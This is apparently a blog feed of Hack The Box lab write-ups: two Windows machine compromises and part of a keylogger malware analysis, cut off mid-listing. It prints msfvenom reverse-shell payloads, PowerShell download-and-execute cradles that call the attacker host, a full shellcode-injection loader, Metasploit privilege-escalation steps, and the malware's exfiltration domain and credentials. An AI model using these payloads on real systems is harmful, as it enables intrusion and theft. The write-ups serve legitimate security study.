&lt;img src=&quot;images/Pasted_image_20250516152251.png&quot; alt=&quot;Pasted image 20250516152251.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Initial reconnaissance showed the user context was &quot;kostas&quot;, a standard user account on the system.&lt;/li&gt;
&lt;li&gt;The shell provides limited access but sufficient to begin internal enumeration and locate the user flag.&lt;/li&gt;
&lt;li&gt;User flag successfully retrieved:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ca03a3a501d204b062958bfa014f9e9f
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Now for post exploitation we need Metasploit&apos;s meterpreter shell so i have used this,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Payload Creation&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=4444 -f exe -o reverse.exe      
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Payload Delivery&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;python -m http.server 8000     
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516162958.png&quot; alt=&quot;Pasted image 20250516162958.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Payload Download in Victim Machine:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Invoke-WebRequest -Uri &quot;http://10.10.16.10:8000/reverse.exe&quot; -OutFile &quot;reverse.exe&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516163016.png&quot; alt=&quot;Pasted image 20250516163016.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516163545.png&quot; alt=&quot;Pasted image 20250516163545.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Post Exploitation&lt;/h1&gt;
&lt;h2&gt;Metasploit Post Exploitation Module&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;For privilege escalation, utilized Metasploit&apos;s local exploit suggester module to identify potential vectors.&lt;/li&gt;
&lt;li&gt;The module scans the target system for applicable vulnerabilities based on its configuration.&lt;/li&gt;
&lt;li&gt;This automated tool checks for missing patches, vulnerable services, and other common privilege escalation paths without manual enumeration.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;use post/multi/recon/local_exploit_suggester 
set SESSION 5
run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516160737.png&quot; alt=&quot;Pasted image 20250516160737.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;While investigating the suggester results, performed additional research online for suitable Windows privilege escalation exploits.&lt;/li&gt;
&lt;li&gt;Identified MS16-032 (Secondary Logon Handle) privilege escalation vulnerability as a promising candidate.&lt;/li&gt;
&lt;li&gt;This vulnerability affects multiple Windows versions and has reliable public exploits available.&lt;/li&gt;
&lt;li&gt;The exploit targets a flaw in the Windows Secondary Logon Service that allows a standard user to elevate privileges to SYSTEM.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516161259.png&quot; alt=&quot;Pasted image 20250516161259.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250516161310.png&quot; alt=&quot;Pasted image 20250516161310.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;MS16-032 Vulnerability Background&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;MS16-032 (CVE-2016-0099) is a privilege escalation vulnerability in the Windows Secondary Logon Service.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The vulnerability exists due to improper handling of security impersonation tokens in the Secondary Logon Service.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When exploited, it allows a standard user to elevate privileges to SYSTEM by triggering a race condition in the handling of these tokens.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Microsoft patched this vulnerability in March 2016, but many systems remain unpatched and vulnerable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This vulnerability is particularly effective because it works on multiple Windows versions (Windows 7-10, Server 2008-2012 R2) and has high reliability.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Used the corresponding Metasploit module to exploit the vulnerability:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;use windows/local/ms16_032_secondary_logon_handle_privesc
set session 5
set lhost 10.10.16.10
set lport 4545
run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516160857.png&quot; alt=&quot;Pasted image 20250516160857.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250516160915.png&quot; alt=&quot;Pasted image 20250516160915.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Privilege escalation was successful, providing SYSTEM-level access to the target.&lt;/li&gt;
&lt;li&gt;SYSTEM privileges represent the highest level of access on a Windows machine, equivalent to root access on Linux systems.&lt;/li&gt;
&lt;li&gt;With these elevated privileges, full control of the system was achieved, allowing access to all files and configuration settings.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516161021.png&quot; alt=&quot;Pasted image 20250516161021.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250516161034.png&quot; alt=&quot;Pasted image 20250516161034.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Root flag successfully retrieved:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;8a532739186a7fb45ef0f03dec9b85fe
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HTB Machine Arctic May 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-arctic/htb_machine_arctic/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-arctic/htb_machine_arctic/</guid><description>Writeup of HTB Arctic Machine.</description><pubDate>Thu, 15 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Ports Open&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Discovered open port 135/tcp on 10.10.10.11 (Remote Procedure Call (RPC))
Discovered open port 8500/tcp on 10.10.10.11 # Don&apos;t know what it is
Discovered open port 49154/tcp on 10.10.10.11 (Remote Procedure Call (RPC))
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Full Scan&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Wed May 14 15:27:15 2025 as: nmap -sC -sV -vvv -T5 -oA nmap/initials -Pn 10.10.10.11
Nmap scan report for 10.10.10.11 (10.10.10.11)
Host is up, received user-set (0.19s latency).
Scanned at 2025-05-14 15:27:16 IST for 170s
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE REASON  VERSION
135/tcp   open  msrpc   syn-ack Microsoft Windows RPC
8500/tcp  open  fmtp?   syn-ack
49154/tcp open  msrpc   syn-ack Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 14 15:30:06 2025 -- 1 IP address (1 host up) scanned in 171.15 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Web Server (Adobe ColdFusion web server)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250514155330.png&quot; alt=&quot;Pasted image 20250514155330.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250514155550.png&quot; alt=&quot;Pasted image 20250514155550.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Adobe ColdFusion 8 Login Panel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250514155934.png&quot; alt=&quot;Pasted image 20250514155934.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;Metasploit Stuff&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Trying 1st Payload using Metasploit&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250514161334.png&quot; alt=&quot;Pasted image 20250514161334.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250514161446.png&quot; alt=&quot;Pasted image 20250514161446.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250514161504.png&quot; alt=&quot;Pasted image 20250514161504.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;But Failed!!!!!!!!!!!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Started Debugging Using Burp with Proxy and found one problem: Metasploit only waits for 5 sec and then it gives error and shuts the listener, but this exploit takes 20 to 30 sec for getting shell. So we have to forward the POST request to proxy and take it into repeater, then shut the Metasploit listener off and start a netcat listener with the same port and send the request through repeater. Then we got the shell.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250514163820.png&quot; alt=&quot;Pasted image 20250514163820.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Now the problem is that I have a normal user/service shell which is kind of primitive in nature and we need a meterpreter shell. So for that, we use msfconsole to create another PowerShell payload which will be invoked from the shell we got.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After Creating that, we transport it to the victim machine using a Python HTTP server and invoke it directly in memory without leaving a file on disk.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This is not that easy because Defender keeps removing it, so this is just the success part, although you can see the number of attempts. 😗&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Creating Shell.ps1&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=1337 -f psh -o shell.ps1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Payload: shell.ps1&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$xVgZtpUmbJgsKj = @&quot;
[DllImport(&quot;kernel32.dll&quot;)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(&quot;kernel32.dll&quot;)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
&quot;@

$JoDMBHBRFCPbBq = Add-Type -memberDefinition $xVgZtpUmbJgsKj -Name &quot;Win32&quot; -namespace Win32Functions -passthru

[Byte[]] $oYFigiQwf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xa,0xa,0x10,0xa,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x0,0x0,0x0,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x0,0x40,0x0,0x0,0x41,0x58,0x6a,0x0,0x5a,0x41,0xba,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5


$XQXihJenTp = $JoDMBHBRFCPbBq::VirtualAlloc(0,[Math]::Max($oYFigiQwf.Length,0x1000),0x3000,0x40)

[System.Runtime.InteropServices.Marshal]::Copy($oYFigiQwf,0,$XQXihJenTp,$oYFigiQwf.Length)

$JoDMBHBRFCPbBq::CreateThread(0,0,$XQXihJenTp,0,0,0)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Transporting Shell.ps1&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;powershell -Command 
&quot;$c=new-object net.webclient;
iex $c.downloadstring(&apos;http://10.10.16.10:8000/shell.ps1&apos;)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Metasploit Payload and Instance&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.16.10
set lport 1337
run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250515100848.png&quot; alt=&quot;Pasted image 20250515100848.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250515101211.png&quot; alt=&quot;Pasted image 20250515101211.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And we got our first flag!!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;27c8ead73af56159c49fec2e895bda01
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Post Exploitation&lt;/h1&gt;
&lt;h2&gt;Again Metasploit Stuff&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Now comes the post exploitation part, so for that we used Metasploit&apos;s default suggester which gives potential modules.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250515101511.png&quot; alt=&quot;Pasted image 20250515101511.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use post/multi/recon/local_exploit_suggester
set SESSION 1
run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250515102031.png&quot; alt=&quot;Pasted image 20250515102031.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;These are x86 version meterpreter exploits but we want x64 version, so we have to migrate to an x64 process to do this.&lt;/li&gt;
&lt;li&gt;And for this, we have used the conhost.exe process.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250515102505.png&quot; alt=&quot;Pasted image 20250515102505.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now after doing the same exploit suggester, we found this to be vulnerable. So we used it and got the system shell. 👍&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;use exploit/windows/local/ms10_092_schelevator
set SESSION 1
set lhost 10.10.16.10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250515103152.png&quot; alt=&quot;Pasted image 20250515103152.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250515103249.png&quot; alt=&quot;Pasted image 20250515103249.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And finally got the root shell.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250515103722.png&quot; alt=&quot;Pasted image 20250515103722.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;960b5b48915c3d781eb275a5f8965e6f
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HTB Sherlocks Loggy May 2025</title><link>https://fuwari.vercel.app/posts/htb-sherlock-loggy/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-sherlock-loggy/notes/</guid><description>Writeup of HTB Loggy Sherlock.</description><pubDate>Tue, 06 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sherlock Scenario&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Janice from accounting is beside herself! She was contacted by the SOC to tell her that her work credentials were found on the dark web by the threat intel team. We managed to recover some files from her machine and sent them to the our REM analyst.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Category: Malware Analysis&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty: Easy&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;File:- &lt;a href=&quot;/uploads/HTB_Sherlock_Loggy/Loggy.zip&quot;&gt;Loggy.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208023359.png&quot; alt=&quot;Pasted image 20251208023359.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For this Sherlock we are provided with a zip file that contains some image files taken the users computer, the malicious file in a zip file, and a text file named, keylog.txt.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;danger.txt&lt;/code&gt; file just has some warnings about the malicious windows executable in &lt;code&gt;danger.zip&lt;/code&gt;. I went ahead and extracted the malicious file onto my Kali Linux VM and took a look at the first task in the Sherlock.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Task 1&lt;/h1&gt;
&lt;h2&gt;What is the SHA-256 hash of this malware binary?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I went ahead and obtained the SHA-256 hash via using the &lt;code&gt;sha256sum&lt;/code&gt; cli tool.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208022629.png&quot; alt=&quot;Pasted image 20251208022629.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;6acd8a362def62034cbd011e6632ba5120196e2011c83dc6045fcb28b590457c
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 2&lt;/h1&gt;
&lt;h2&gt;What programming language (and version) is this malware written in?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;So see in which programming language this malware is written, i will use DIE (Detect it Easy),&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208022719.png&quot; alt=&quot;Pasted image 20251208022719.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Golang 1.22.3
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 3&lt;/h1&gt;
&lt;h2&gt;There are multiple GitHub repos referenced in the static strings. Which GitHub repo would be most likely suggest the ability of this malware to exfiltrate data?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I used &lt;a href=&quot;https://github.com/mandiant/flare-floss&quot;&gt;floss&lt;/a&gt; tool by Mandiant,&lt;/li&gt;
&lt;li&gt;The FLARE Obfuscated String Solver (FLOSS, formerly FireEye Labs Obfuscated String Solver) uses advanced static analysis techniques to automatically extract and deobfuscate all strings from malware binaries.&lt;/li&gt;
&lt;li&gt;You can use it just like &lt;code&gt;strings.exe&lt;/code&gt; to enhance the basic static analysis of unknown binaries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208024000.png&quot; alt=&quot;Pasted image 20251208024000.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FTP (File Transfer Protocol) might be useful to threat actor to exfiltrate data so this is the answer.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;github.com/jlaffaye/ftp
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 4&lt;/h1&gt;
&lt;h2&gt;What dependency, expressed as a GitHub repo, supports Janice’s assertion that she thought she downloaded something that can just take screenshots?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I used same &lt;a href=&quot;https://github.com/mandiant/flare-floss&quot;&gt;floss&lt;/a&gt; tool for extracting related string which might look like tool which do something that can just take screenshots.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208024409.png&quot; alt=&quot;Pasted image 20251208024409.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;github.com/kbinani/screenshot
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 5&lt;/h1&gt;
&lt;h2&gt;Which function call suggests that the malware produces a file after execution?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;To examine all imported APIs, I used &lt;a href=&quot;https://www.winitor.com/download&quot;&gt;pestudio&lt;/a&gt; tool which identifies key indicators in Windows executable files.&lt;/li&gt;
&lt;li&gt;Under &lt;code&gt;imports&lt;/code&gt; section we can see &lt;code&gt;WriteFile&lt;/code&gt; which is being imported from &lt;code&gt;kernel32.dll&lt;/code&gt; library.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208024633.png&quot; alt=&quot;Pasted image 20251208024633.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WriteFile
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 6&lt;/h1&gt;
&lt;h2&gt;You observe that the malware is exfiltrating data over FTP. What is the domain it is exfiltrating data to?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I tried so find C2 domain in strings but unable to see it so i used &lt;a href=&quot;https://hex-rays.com/ida-pro&quot;&gt;IDA Disassembler, Decompile and Debugger&lt;/a&gt; Free version.&lt;/li&gt;
&lt;li&gt;After importing it in ida i look out for function which exfiltrate data through ftp and i found this function, &lt;code&gt;sendFilesViaFTP&lt;/code&gt; which contain this string which contains domain,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208025300.png&quot; alt=&quot;Pasted image 20251208025300.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the decompiled pseudocode,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// main.sendFilesViaFTP
__int64 main_sendFilesViaFTP()
{
  __int64 v0; // rcx
  int v1; // eax
  int v2; // ecx
  int v3; // r8d
  int v4; // r9d
  int v5; // r10d
  int v6; // r11d
  _QWORD v8[2]; // [rsp+100h] [rbp-58h] BYREF
  _QWORD v9[6]; // [rsp+110h] [rbp-48h] BYREF

  github_com_jlaffaye_ftp_Dial(
    &quot;gotthem.htb:21not a PNG fileComputerNameEx: extra text: ControlServiceOpenSCManagerWRegSetValueExWCreateProcessWDwmEnableMMCSSDwmShowContactGetStockObjectGetPixelFormatSetPixelFormatGdiplusStartupSizeofResourceModule32FirstWGetSystemTimesVirtualAllocExCoInitializeExCoUninitializeSysAllocStringwglMakeCurrentDragQueryFileWDragQueryPointDefWindowProcWSetWindowTextWGetWindowTextWScreenToClientSetWindowLongWGetWindowLongWInvalidateRectReleaseCaptureClientToScreenCloseClipboardEmptyClipboardCallNextHookExinvalid syntax1907348632812595367431640625unexpected EOFunsafe.Pointer on zero Valueunknown methoduserArenaStateread mem statsallocfreetracegcstoptheworldGC assist waitfinalizer waitsync.Cond.Waits.allocCount= nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated timeEndPeriod&quot;,
    14,
    0,
    0,
    0);
  v8[0] = MEMORY[0x16];
  v8[1] = v0;
  v9[0] = main_sendFilesViaFTP_Printf_func1;

  v9[2] = 35;
  v9[1] = &amp;amp;aX509UnhandledC[272];
  v9[4] = 1;
  v9[5] = 1;
  v9[3] = v8;
  v1 = log__ptr_Logger_output(log_std, 0, 2, v9);
  return runtime_deferreturn(v1, 0, v2, (unsigned int)v9, 0, v3, v4, v5, v6);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;gotthem.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 7&lt;/h1&gt;
&lt;h2&gt;What are the threat actor’s credentials?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Some how i can&apos;t able to see username, password in pseudocode maybe because those are loaded from other section like these are static strings embedded in &lt;code&gt;.rdata&lt;/code&gt; and are referenced via &lt;strong&gt;LEA into registers&lt;/strong&gt; so i used IDA-View and in this i found both,&lt;/li&gt;
&lt;li&gt;It happens because Hex-Rays is &lt;strong&gt;C-centric&lt;/strong&gt;, not Go.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208031255.png&quot; alt=&quot;Pasted image 20251208031255.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NottaHacker:Cle@rtextP@ssword
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 8&lt;/h1&gt;
&lt;h2&gt;What file keeps getting written to disk?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Again file name is written in read-only section of binary (&lt;code&gt;.rdata&lt;/code&gt;), in &lt;code&gt;main_logKey&lt;/code&gt; function,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208032847.png&quot; alt=&quot;Pasted image 20251208032847.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is &lt;code&gt;main_logKey&lt;/code&gt; decompiled code,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// main.logKey
void *__golang main_logKey(__int64 a1, int a2, __int64 a3, int a4, int a5, int a6, int a7, int a8, int a9)
{
  __int128 v9; // xmm15
  int v10; // ecx
  int v11; // ebx
  const char *v12; // rax
  int v13; // ecx
  int v14; // r8d
  int v15; // r9d
  int v16; // r10d
  int v17; // r11d
  int v18; // r8d
  int v19; // r9d
